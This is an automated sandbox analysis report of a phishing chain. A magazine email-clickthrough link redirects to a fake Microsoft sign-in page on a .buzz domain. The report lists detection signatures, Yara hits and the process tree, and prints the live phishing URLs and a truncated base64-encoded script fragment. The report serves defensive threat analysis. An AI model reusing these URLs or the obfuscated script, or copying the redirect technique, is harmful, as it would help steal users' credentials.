Edit tour

Windows Analysis Report
https://account.tctmagazine.com/emailclickthrough?TxActivity=239212&returnUrl=https://mighty-calm-plum-toucan.easy2.de/&Hash=1DD38A2BA32B80F59EA0F1A750C3EC0E

Overview

General Information

Sample URL:	https://account.tctmagazine.com/emailclickthrough?TxActivity=239212&returnUrl=https://mighty-calm-plum-toucan.easy2.de/&Hash=1DD38A2BA32B80F59EA0F1A750C3EC0E
Analysis ID:	1590973
Infos:

Detection

HTMLPhisher

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish54

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML page contains obfuscated script src

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3568 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7016 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1732 --field-trial-handle=1976,i,3409596119010317286,4100031707149322861,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1088 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://account.tctmagazine.com/emailclickthrough?TxActivity=239212&returnUrl=https://mighty-calm-plum-toucan.easy2.de/&Hash=1DD38A2BA32B80F59EA0F1A750C3EC0E" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.17.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.6.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.1.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.2.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.5.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.4.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 1 entries

Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12c0xfbUg3b253cVA0UWFiZURqQkRwdjVHeFEmeC1jbGllbnQtU0tVPUlEX05FVDhfMCZ4LWNsaWVudC12ZXI9Ny41LjEuMA==&sso_reload=true

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'interconnectednessresilient.buzz' does not match the legitimate domain for Microsoft., The domain uses an unusual extension '.buzz', which is not typically associated with Microsoft., The URL does not contain any recognizable elements related to Microsoft, indicating a potential phishing attempt. DOM: 3.5.pages.csv

Yara detected HtmlPhish54

Source: Yara match	File source: 0.17.i.script.csv, type: HTML
Source: Yara match	File source: 0.6.id.script.csv, type: HTML
Source: Yara match	File source: 2.1.pages.csv, type: HTML
Source: Yara match	File source: 3.2.pages.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: https://mighty-calm-plum-toucan.easy2.de/

Joe Sandbox AI: Page contains button: 'PREVIEW DOCUMENT' Source: '1.0.pages.csv'

AI detected suspicious Javascript

Source: 0.16.id.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://interconnectednessresilient.buzz/?7bk3o0j2... The script demonstrates several high-risk behaviors, including redirecting the user to an unknown domain and potentially collecting sensitive data (session ID) without transparency. While the script may have a legitimate purpose, the lack of context and the use of obfuscation techniques raise significant security concerns.

HTTP Parser: Number of links: 0

HTTP Parser: Base64 decoded: function modified(){if(!document.querySelector(".new")){var elem = document.createElement("div");elem.classList.add("c");document.head.appendChild(elem);document.documentElement.style.background="rgba(20,0,50,0.5)";document.head.appendChild(document.creat...

Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gbW9kaWZpZWQoKXtpZighZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLm5ldyIpKXt2YXIgZWxlbSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO2VsZW0uY2xhc3NMaXN0LmFkZCgiYyIpO2RvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoZWxlbSk7ZG9jdW1lbnQuZG9jdW
Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gbW9kaWZpZWQoKXtpZighZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLm5ldyIpKXt2YXIgZWxlbSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO2VsZW0uY2xhc3NMaXN0LmFkZCgiYyIpO2RvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoZWxlbSk7ZG9jdW1lbnQuZG9jdW
Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gbW9kaWZpZWQoKXtpZighZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLm5ldyIpKXt2YXIgZWxlbSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO2VsZW0uY2xhc3NMaXN0LmFkZCgiYyIpO2RvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoZWxlbSk7ZG9jdW1lbnQuZG9jdW
Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gbW9kaWZpZWQoKXtpZighZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLm5ldyIpKXt2YXIgZWxlbSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO2VsZW0uY2xhc3NMaXN0LmFkZCgiYyIpO2RvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoZWxlbSk7ZG9jdW1lbnQuZG9jdW

HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3

HTTP Parser: <input type="password" .../> found

Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1O...	HTTP Parser: No favicon
Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1O...	HTTP Parser: No favicon
Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1O...	HTTP Parser: No favicon
Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1O...	HTTP Parser: No favicon

Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1O	HTTP Parser: No <meta name="author".. found
Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1O	HTTP Parser: No <meta name="author".. found
Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1O	HTTP Parser: No <meta name="author".. found

Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1O...	HTTP Parser: No <meta name="copyright".. found
Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1O...	HTTP Parser: No <meta name="copyright".. found
Source: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJ